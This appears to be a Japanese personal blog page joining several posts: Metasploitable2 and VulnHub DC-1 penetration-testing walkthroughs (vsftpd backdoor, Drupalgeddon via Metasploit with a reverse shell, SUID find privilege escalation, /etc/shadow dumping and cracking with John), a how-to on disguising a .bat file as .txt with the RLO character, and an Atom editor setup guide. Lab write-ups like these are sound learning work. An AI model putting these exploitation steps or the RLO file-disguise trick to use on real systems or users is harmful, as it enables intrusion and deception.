| SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_ SSL2_RC4_128_WITH_MD5
53/tcp open domain ISC BIND 9.4.2
| dns-nsid:
|_ bind.version: 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/udp nfs
| 100005 1,2,3 46123/udp mountd
| 100005 1,2,3 57805/tcp mountd
| 100021 1,3,4 50005/tcp nlockmgr
| 100021 1,3,4 55176/udp nlockmgr
| 100024 1 50717/tcp status
|_ 100024 1 52902/udp status
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login
514/tcp open shell Netkit rshd
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
| mysql-info:
| Protocol: 10
| Version: 5.0.51a-3ubuntu5
| Thread ID: 8
| Capabilities flags: 43564
| Some Capabilities: LongColumnFlag, SwitchToSSLAfterHandshake, SupportsCompression, Support41Auth, SupportsTransactions, Speaks41ProtocolNew, ConnectWithDatabase
| Status: Autocommit
|_ Salt: G,EU\OVC+L}Sd!o3MhGe
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
|_ssl-date: 2021-06-19T11:00:10+00:00; -9m36s from scanner time.
5900/tcp open vnc VNC (protocol 3.3)
| vnc-info:
| Protocol version: 3.3
| Security types:
|_ VNC Authentication (2)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5
MAC Address: 08:00:27:72:D4:54 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 50m24s, deviation: 2h00m00s, median: -9m36s
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: metasploitable
| NetBIOS computer name:
| Domain name: localdomain
| FQDN: metasploitable.localdomain
|_ System time: 2021-06-19T07:00:02-04:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE
HOP RTT ADDRESS
1 0.28 ms 192.168.56.102

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.15 seconds
┌─[root@anon]─[~]
└──╼ #ftp
ftp> 192.168.56.102
?Invalid command
ftp> FTP192.168.56.102
?Invalid command
ftp> open 192.168.56.102
Connected to 192.168.56.102.
220 (vsFTPd 2.3.4)
Name (192.168.56.102:snowyowl): exit
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
ftp> ^C
ftp> bye
221 Goodbye.
┌─[root@anon]─[~]
└──╼ #msfconsole

=[ metasploit v6.0.37-dev ]
+ -- --=[ 2111 exploits - 1136 auxiliary - 357 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 8 evasion ]

Metasploit tip: Metasploit can be configured at startup, see
msfconsole --help to learn more

msf6 > search vsFTPd 2.3.4

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

 

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.56.102
RHOST => 192.168.56.102
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.56.102 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)


Payload options (cmd/unix/interact):

Name Current Setting Required Description
---- --------------- -------- -----------


Exploit target:

Id Name
-- ----
0 Automatic


msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.56.102:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.56.102:21 - USER: 331 Please specify the password.
[+] 192.168.56.102:21 - Backdoor service has been spawned, handling...
[+] 192.168.56.102:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (0.0.0.0:0 -> 192.168.56.102:6200) at 2021-06-19 20:15:42 +0900

whoami
root

/bin/bash -i             ←対話モードに入る
bash: no job control in this shell
root@metasploitable:/home/ftp# ls
root@metasploitable:/home/ftp# cd ../
root@metasploitable:/home# ls
ftp
msfadmin
service
user
root@metasploitable:/home# cd ../
root@metasploitable:/# pwd
/
root@metasploitable:/# date
Sat Jun 19 07:08:28 UTC 2021
root@metasploitable:/# hostname
metasploitable
root@metasploitable:/# hostname --l
metasploitable.localdomain
root@metasploitable:/#

 

Windowsの拡張子偽装

windowsエクスプローラーを開いて、左クリック

新規作成、テキストを選択

名前の変更、適当な言葉を入れる。[syasinn]みたいな

そのままボックスを左クリック。

unicode文字の挿入→RLO(start-Right-to-Left-Overdrive)を選択→txt.batと入力

RLOは、アラブ文字などに使われる右から左に読まれるUnicode

これをつかうことで、実際には.batであるのにも関わらず.txtとなってしまう。

そんなに注意深くみなければわからないので、有効な手立てである。

f:id:QWERTYtan:20210605111154p:plain



 

DC-1 Walkthrough

ペネトレーションツール用の練習として、DC-1に侵入。

手順

1.対象用の仮想環境のダウンロード https://www.vulnhub.com/entry/dc-1-1,292/

ここから、DC-1の.zipファイルをダウンロードする。

 

2.virtualboxでの展開

ファイル→仮想アプライアンスのインポートから、解凍した.ovaファイルを選択、

設定→下に表示されているエラーをすべて取り除く→実行 前提条件として、

対象と同じネットに侵入している。

今回のゴールは、ウェブサーバーに侵入する。

 

 

3.偵察

サーバーに関する情報収集 DC-1をvirtualboxで展開したときにログイン画面が出てきますが、まだユーザー名もパスワードもわかっていないのでそれから探らないといけない。

sudo netdiscover

同一lan内のipアドレスを収集。ここでは、DC-1のIPを192.168.3.20と仮定。

 

 

Currently scanning: 192.168.14.0/16 | Screen View: Unique Hosts
 
6 Captured ARP Req/Rep packets, from 6 hosts. Total size: 300
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.3.1 30:f7:72:be:b9:b9 1 42 Hon Hai Precision Ind. Co.,L
192.168.3.2 10:6f:3f:e6:28:40 1 60 BUFFALO.INC
192.168.3.8 44:09:b8:8c:f4:72 1 60 Salcomp (Shenzhen) CO., LTD.
192.168.3.20 08:00:27:70:a8:d7 1 42 PCS Systemtechnik GmbH
192.168.3.13 76:df:f0:17:f4:de 1 42 Unknown vendor
192.168.3.5 3a:f2:b0:f4:d0:64 1 54 Unknown vendor

 

nmap -A -p- 192.168.3.20

のos,ソフトウェアの情報を収集。

-Aは、os・ソフトウェアのバージョンなどの詳細を表示。

-p-は、すべてのポートを指定。

 

Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-04 20:41 JST
Nmap scan report for 192.168.3.20
Host is up (0.00026s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
| 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
| 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp open http Apache httpd 2.2.22 *1
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Welcome to Drupal Site | Drupal Site
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 33571/udp status
| 100024 1 38353/tcp6 status
| 100024 1 39659/tcp status
|_ 100024 1 53619/udp6 status
39659/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:70:A8:D7 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
TRACEROUTE
HOP RTT ADDRESS
1 0.26 ms 192.168.3.20
 
OS and Service detection performed. Please report any incorrect results
Nmap done: 1 IP address (1 host up) scanned in 18.77 seconds

ここから、DC-1は、

Apacheのサーバーを使用してて(=このサーバーはウェブサーバーである)、CMS(Contents Management System:コンテンツ・マネジメント・システム)は、Drupal siteを使用しているとわかる。

このウェブサーバーにアクセスするためにブラウザで192.168.3.20にアクセスする

すると、このようなサイトが表示される。

f:id:QWERTYtan:20210604204937p:plain

user loginとpasswordがあるようなので、そこを探れないかと考える。

4.既知の脆弱性の検索

まず、このウェブサーバーのApacheCMSがアップデートされていないので、既知の脆弱性がないかを調べる。

Apacheの最新版は、2021/6/4時点でApache 2.4.48。Drupalの最新版は、2021/6/4時点でDrupal 9.x.x。)

 

searchsploit "Apache 2.2.22"   Apacheから検索。

---------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------- ---------------------------------
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Rem | php/remote/29290.c
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code | php/remote/29316.py
Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory L | linux/webapps/42745.py
Apache CXF < 2.5.10/2.6.7/2.7.4 - Denial of S | multiple/dos/26710.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' | unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2. | unix/remote/47080.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2. | unix/remote/764.c
Apache OpenMeetings 1.9.x < 3.1.0 - '.ZIP' Fi | linux/webapps/39642.txt
Apache Struts 2 < 2.3.1 - Multiple Vulnerabil | multiple/webapps/18329.txt
Apache Struts 2.0.1 < 2.3.33 / 2.5 < 2.5.10 - | multiple/remote/44556.py
Apache Struts < 1.3.10 / < 2.3.16.2 - ClassLo | multiple/remote/41690.rb
Apache Struts2 2.0.0 < 2.3.15 - Prefixed Para | multiple/webapps/44583.txt
Apache Tomcat < 5.5.17 - Remote Directory Lis | multiple/remote/2061.txt
Apache Tomcat < 6.0.18 - 'utf8' Directory Tra | multiple/remote/6229.txt
Apache Tomcat < 6.0.18 - 'utf8' Directory Tra | unix/remote/14489.c
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8 | jsp/webapps/42966.py
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8 | windows/webapps/42953.txt
Apache Xerces-C XML Parser < 3.1.2 - Denial o | linux/dos/36906.txt
Webfroot Shoutbox < 2.32 (Apache) - Local Fil | linux/remote/34.pl
---------------------------------------------- ---------------------------------
Shellcodes: No Results

searchsploit "drupal 7.0" >

---------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------- ---------------------------------
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Inject | php/webapps/34984.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Inject | php/webapps/34992.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Inject | php/webapps/34993.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Inject | php/webapps/35150.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Inject | php/webapps/35150.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Inject | php/webapps/44355.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Inject | php/webapps/44355.php
Drupal < 7.34 - Denial of Service | php/dos/35415.txt
Drupal < 7.58 - 'Drupalgeddon3' (Authenticate | php/webapps/44542.txt
Drupal < 7.58 - 'Drupalgeddon3' (Authenticate | php/webapps/44557.rb
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - | php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalg | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalg | php/webapps/44448.py
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Serv | php/remote/46510.rb
Drupal < 8.6.10 / < 8.5.11 - REST Module Remo | php/webapps/46452.txt
Drupal < 8.6.9 - REST Module Remote Code Exec | php/webapps/46459.py
---------------------------------------------- ---------------------------------
Shellcodes: No Results

Drupal 7.0の方が、有名で(脆弱性に名前がついてて)簡単そうなので

今回は、drupal 7.0の脆弱性をつくことにする。

今回突く脆弱性は、searchsploitの検索で一番上に出てきた

Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Inject | php/webapps/34984.py」

5.攻撃

Exploit Deatabase脆弱性に対する.pyが公開されているのでそれを使う。 msfconsole -q

metasploitを起動 -qは、ソースを表示しないオプション

msf6

metasploitの起動に成功。対話的プログラムなのでここに書いていく。

msf6 > search Drupalgeddon

Draupalgeddonをmetasploit内で検索。

Matching Modules
================
 
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/webapp/drupal_drupalgeddon2 2018-03-28 excellent Yes Drupal
Drupalgeddon 2 Forms API Property Injection
 
 
Interact with a module by name or index. For example info 0, use 0 or use
exploit/unix/webapp/drupal_drupalgeddon2

msf6 > use exploit/unix/webapp/drupal_drupalgeddon2

useコマンドでexploit/unix/webapp/drupal_drupalgeddon2を使うと指定。

set rhost 192.168.3.20

rhostとは、Remote hostで攻撃/調査対象ホストのこと。setコマンドでrhostを指定。

rhost => 192.168.3.20

msf6 exploit(unix/webap/drupal_drupalgeddon2) > show options

showコマンドで実際に攻撃する前に内容を確認する。

 

Module options (exploit/unix/webapp/drupal_drupalgeddon2):
 
Module options (exploit/unix/webapp/drupal_drupalgeddon2):
 
Name Current Setting Required Description
---- --------------- -------- -----------
DUMP_OUTPUT false no Dump payload command output
PHP_FUNC passthru yes PHP function to execute
Proxies no A proxy chain of format type:host:p
ort[,type:host:port][...]
RHOSTS 192.168.3.20 yes The target host(s), range CIDR iden
tifier, or hosts file with syntax '
file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing conn
ections
TARGETURI / yes Path to Drupal install
VHOST no HTTP server virtual host
 
 
Payload options (php/meterpreter/reverse_tcp):
 
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.3.17 yes The listen address (an interface may be s
pecified)
LPORT 4444 yes The listen port
 
 
Exploit target:
 
Id Name
-- ----
0 Automatic (PHP In-Memory)

 

確認完了。

 

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > exploit

確認も終わったとこでexploitで実際に攻撃していく。

Module options (exploit/unix/webapp/drupal_drupalgeddon2):
 
Name Current Setting Required Description
---- --------------- -------- -----------
DUMP_OUTPUT false no Dump payload command output
PHP_FUNC passthru yes PHP function to execute
Proxies no A proxy chain of format type:host:p
ort[,type:host:port][...]
RHOSTS 192.168.3.20 yes The target host(s), range CIDR iden
tifier, or hosts file with syntax '
file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing conn
ections
TARGETURI / yes Path to Drupal install
VHOST no HTTP server virtual host
 
 
Payload options (php/meterpreter/reverse_tcp):
 
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.3.17 yes The listen address (an interface may be s
pecified)
LPORT 4444 yes The listen port
 
 
Exploit target:
 
Id Name
-- ----
0 Automatic (PHP In-Memory)

攻撃が成功して、meterpreterが開かれる。

meterpreter > shell

shellを起動。

6.サーバーの探検!

以下、meterpreter内 

/bin/sh: 0: can't access tty; job control turned off
$ ls
COPYRIGHT.txt
INSTALL.mysql.txt
INSTALL.pgsql.txt
INSTALL.sqlite.txt
INSTALL.txt
LICENSE.txt
MAINTAINERS.txt
README.txt
UPGRADE.txt
authorize.php
cron.php
flag1.txt
includes
index.php
install.php
misc
modules
profiles
scripts
sites
themes
update.php
web.config
xmlrpc.php
$ whoami
www-data
$ pwd
/var/www
$ cd /
$ ls
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
sys
tmp
usr
var
vmlinuz
vmlinuz.old
$ cd /tmp
$ ls
$ cd ../
$ cd usr
$ ls
bin
games
include
lib
lib64
local
sbin
share
src

現在ログインしてるユーザーは、www-dataである。

あと、まあいろんなことがわかったとこで、さっきsearchmetasploitでわかっているExploitコードを実行する。

自分のparrot osの(meterpreterを使っているターミナルとは別のターミナルで)、

Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.13
Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.13|:443.
.. connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [application/txt]
Saving to: ‘34992’
 
34992 [ <=> ] 11.73K --.-KB/s in 0s
 
2021-06-04 21:53:09 (92.6 MB/s) - ‘34992’ saved [12016]
 
#mv 34992 exploit.py
#python2 exploit.py -t http://192.168.3.20/ -u root -p toor
 
______ __ _______ _______ _____
| _ \ .----.--.--.-----.---.-| | | _ || _ | _ |
|. | \| _| | | _ | _ | | |___| _|___| |.| |
|. | |__| |_____| __|___._|__| / |___(__ `-|. |
|: 1 / |__| | | |: 1 | |: |
|::.. . / | | |::.. . | |::.|
`------' `---' `-------' `---'
_______ __ ___ __ __ __
| _ .-----| | | .-----|__.-----.----| |_|__.-----.-----.
| 1___| _ | | |. | | | -__| __| _| | _ | |
|____ |__ |__| |. |__|__| |_____|____|____|__|_____|__|__|
|: 1 | |__| |: | |___|
|::.. . | |::.|
`-------' `---'
 
Drup4l => 7.0 <= 7.31 Sql-1nj3ct10n
Admin 4cc0unt cr3at0r
 
Discovered by:
 
Stefan Horst
(CVE-2014-3704)
 
Written by:
 
Claudio Viviani
 
 
info@homelab.it
homelabit@protonmail.ch
 
 
 
[!] VULNERABLE!
 
[!] Administrator user created!
 
[*] Login: root
[*] Pass: toor

まず、wgetで対象のexlpoitコードをダウンロード

mvコマンドで34992をexploit.pyと、.pyに変換する。

そして、exploit.pyを実行。

オプションがわかんなければ一回なにも入れずに実行してみる。そうすればhelpが出てくるから。

34992のexplitコードはsqlインジェクションなので新しいユーザーとパスワードを攻撃対象のサイトに作れた。

サイトに、ユーザー名:root パスワード:toorでログインしてみる。

f:id:QWERTYtan:20210604220149p:plain

f:id:QWERTYtan:20210604220222p:plain
ログインできた。

7.権限昇格

LinEnum.shというローカルlinuxのファイルと特権昇格をチェックするスクリプトを実行して権限の上昇を試みる。

$ wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

こっちで行けた。

um/master/LinEnum.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199
.111.133, 185.199.109.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.19
9.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/plain]
Saving to: `LinEnum.sh.1'
 
0K .......... .......... .......... .......... ..... 100% 2.20M=0.02s
 
2021-06-04 23:13:13 (2.20 MB/s) - `LinEnum.sh.1' saved [46631/46631]

実行結果は、長いけど大切なのはここの部分。

[-] SUID files:
-rwsr-xr-x 1 root root 88744 Dec 10 2012 /bin/mount
-rwsr-xr-x 1 root root 31104 Apr 13 2011 /bin/ping
-rwsr-xr-x 1 root root 35200 Feb 27 2017 /bin/su
-rwsr-xr-x 1 root root 35252 Apr 13 2011 /bin/ping6
-rwsr-xr-x 1 root root 67704 Dec 10 2012 /bin/umount
-rwsr-sr-x 1 daemon daemon 50652 Oct 4 2014 /usr/bin/at
-rwsr-xr-x 1 root root 35892 Feb 27 2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 45396 Feb 27 2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 30880 Feb 27 2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 44564 Feb 27 2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 66196 Feb 27 2017 /usr/bin/gpasswd
-rwsr-sr-x 1 root mail 83912 Nov 18 2017 /usr/bin/procmail
-rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find
-rwsr-xr-x 1 root root 937564 Feb 11 2018 /usr/sbin/exim4
-rwsr-xr-x 1 root root 9660 Jun 20 2017 /usr/lib/pt_chown
-rwsr-xr-x 1 root root 248036 Jan 27 2018 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 5412 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-- 1 root messagebus 321692 Feb 10 2015 /usr/lib/dbus-1.0/dbus-dae
mon-launch-helper
-rwsr-xr-x 1 root root 84532 May 22 2013 /sbin/mount.nfs

普通は、ファイルの実行をするときはログインしているユーザーで行われるが、SUID(SetUserID)が定義されているファイルはどのユーザーが実行してもSUIDのユーザーが実行することになる。

よって、findコマンドを使って権限昇格を狙う。

$ touch x

$ find x -exec "whoami" \;

root

$ find x -exec "/bin/sh" \;

$whoami

root

これで、root権限に昇格できた。

ちなみに、findの-execオプションはfindの検索結果の結果を渡して別のコマンドを実行するためのもの。

 

8.ユーザーのパスワード奪取

/etc/shadowにはユーザーのパスワードがハッシュ関数になって記録されているので、それをparrot osのJohnで解析する。

cat /etc/shadow

なぜかmoreにするとshellが落ちる。

root:$6$rhe3rFqk$NwHzwJ4H7abOFOM67.Avwl3j8c05rDVPqTIvWg8k3yWe99pivz/96.K7Iq
PlbBCmzpokVmn13ZhVyQGrQ4phd/:17955:0:99999:7:::
daemon:*:17946:0:99999:7:::
bin:*:17946:0:99999:7:::
sys:*:17946:0:99999:7:::
sync:*:17946:0:99999:7:::
games:*:17946:0:99999:7:::
man:*:17946:0:99999:7:::
lp:*:17946:0:99999:7:::
mail:*:17946:0:99999:7:::
news:*:17946:0:99999:7:::
uucp:*:17946:0:99999:7:::
proxy:*:17946:0:99999:7:::
www-data:*:17946:0:99999:7:::
backup:*:17946:0:99999:7:::
list:*:17946:0:99999:7:::
irc:*:17946:0:99999:7:::
gnats:*:17946:0:99999:7:::
nobody:*:17946:0:99999:7:::
libuuid:!:17946:0:99999:7:::
Debian-exim:!:17946:0:99999:7:::
statd:*:17946:0:99999:7:::
messagebus:*:17946:0:99999:7:::
sshd:*:17946:0:99999:7:::
mysql:!:17946:0:99999:7:::
flag4:$6$Nk47pS8q$vTXHYXBFqOoZERNGFThbnZfi5LN0ucGZe05VMtMuIFyqYzY/eVbPNMZ7
lpfRVc0BYrQ0brAhJoEzoEWCKxVW80:17946:0:99999:7:::

rootのパスワードは、toorでさっき作ったアカウントのこと。

今回は、ユーザー名もパスワードもはっきりしているflag4のハッシュを解析する。

自機のJohn専用にターミナルを開いて、

john /tmp/flag4 --wordlist=/usr/share/wordlists/rockyou.txt

johnで解析、flag4は上のハッシュ関数が書かれたファイルで、パスワードの辞書にはrockyou.txtを置く。

すると、このハッシュ関数が"orange"を示しているとわかる。

これを使って、sshでこのサーバーにログインする。>

ssh flag4@192.168.3.20

 

The authenticity of host '192.168.3.20 (192.168.3.20)' can't be established.
ECDSA key fingerprint is SHA256:89B+YqcNl4cSf/BZk26MQG1QeW4BvBlVENMbTRhVhsU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.3.20' (ECDSA) to the list of known ho
flag4@192.168.3.20's password:
Linux DC-1 3.2.0-6-486 #1 Debian 3.2.102-1 i686
 
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
 
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
flag4@DC-1:~$

最初にこのssh通信は、足跡が残りますけどいいですか?と聞かれる。

パスワードを求められるので、ここにはorangeと入力して、ログインする。

 

Atomエディタ 完全版 

 

ここでは、のんびり、でも詳しく

 

c言語の開発環境づくりについて書いていきます。

 

カッコの中は、その直前の言葉をわかりやすくしているつもりです。

 

厳密には解釈が違うかもしれないですけど、大目に見ていただけると幸いです。

 

c言語の開発環境づくり

色々なエディタ(コードを効率良く書くための上位互換メモ帳)やコンパイラがありますが、

 

今回は自分が使用しているAtomエディタとgccコンパイラのインストールを紹介していきたいと思います。

 

コンパイラについて知っておきたいという方はこちらで軽く説明しています。

 

Atomのインストール

では、軽くAtomの紹介をしたいと思います。 Atomは、windowsMac,Linuxそれぞれリリースされていて、とても人気があるエディタです。

 

また、完全無料なのにも関わらず、高機能でインストールしたときから、がっつりコードを書くことができます。

 

また、パッケージと呼ばれる拡張機能を追加することで、より自分好みのエディタにカスタマイズすることができます。

 

Windowsの場合、Mac

を開きます。

 

出典

Atomの公式サイトより

 

そしたら、Downloadボタンを押して、ダウンロードしましょう。

 

インストールされるとデスクトップにatomの原子のようなアイコンが出てくると思います。

 

インストール完了です。

 

linuxの場合

Ctrl+Alt+Tを押して、端末を開きます。

 

まずは、Atomリポジトリを追加します。

 

 

sudo add-apt-repository ppa:webupd8team/atom

次に、パッケージインデックスをアップデートします。

sudo apt-get update

最後に、Atomをインストールします。

sudo apt-get install atom

インストール完了です。

Atomの起動

では、Atomのアイコンを押して、起動していきましょう。

 

welcome guideが表示されていると思います。

 

読みたい方は、読みましょう。しかし、別に必ず読む必要はありません。

 

特に重要なことは書いてありません。

 

Atomは、上にタブがあり、複数のプロジェクト間で移動しながら、進めることができます。

 

また、画面を分割することで、下の写真のように2つのプロジェクトを同時に見ることもできます。

 

 

実は、自分はhtmlで書くのが楽なので、このブログのhtmlもAtomで書いています。

 

しかし、テキストはVimの方が楽ですね。

 

Atomの便利機能

また、カーソルを一番左の方に近づけてみてください。

 

すると、左端の真ん中らへんに矢印が出てくると思います。

 

それを押してみると、なんと!

 

開いているファイルからの階層を表示することができます。

 

便利ですよね!ここから使いたいファイルを押して、ガシガシ書き込んでいけます。

 

先程、パッケージの話をしたので、ここで今自分が使っているパッケージを紹介したいと思います。

 

今、自分が使っているパッケージは、

出典:https://atom.io/packages/editor-background

https://atom.io/packages/atom-beautify

https://atom.io/packages/minimap

他にもデフォルトでいくつか入っていますが、あまり使っていません。

 

というか、元のAtomの出来が、良すぎるんですよね。個人的には、一切手を加えなくても全く問題ないと思います。

 

パッケージのインストール

Atomのタブの上に、 Helpというリンクがあるので、タップするとWelcome guideというものがあると思います。

 

そして、Install Packageをクリック

 

検索欄に自分のほしいパッケージ名(例えば、editor-background)を入力して、インストールしていきましょう。

 
ちなみに、editor-backgroundはコードの後ろに自分の好きな写真や動画を流せるパッケージで、自分好みの痛エディタに出来ますよ。笑笑
 

そして、atom-beautifyは雑にコードを書いてしまったときに、それをきれいにレイアウトしなおしてくれるパッケージです。

 

コードは人に見せることもあるので、見やすいコードを目指すためにもおすすめです。

 

minimapは、左、もしくは右にコードの全体像を色別に示してくれるパッケージです。

 

全体像を把握するのにはいちいちスクロールする必要がありますが、これを導入すればその必要もありません。

 

今回は、Atomエディタのインストール方法からパッケージまでを軽く説明しました。

 

Atomはすごく優秀なエディタなので、ぜひ使ってみてください。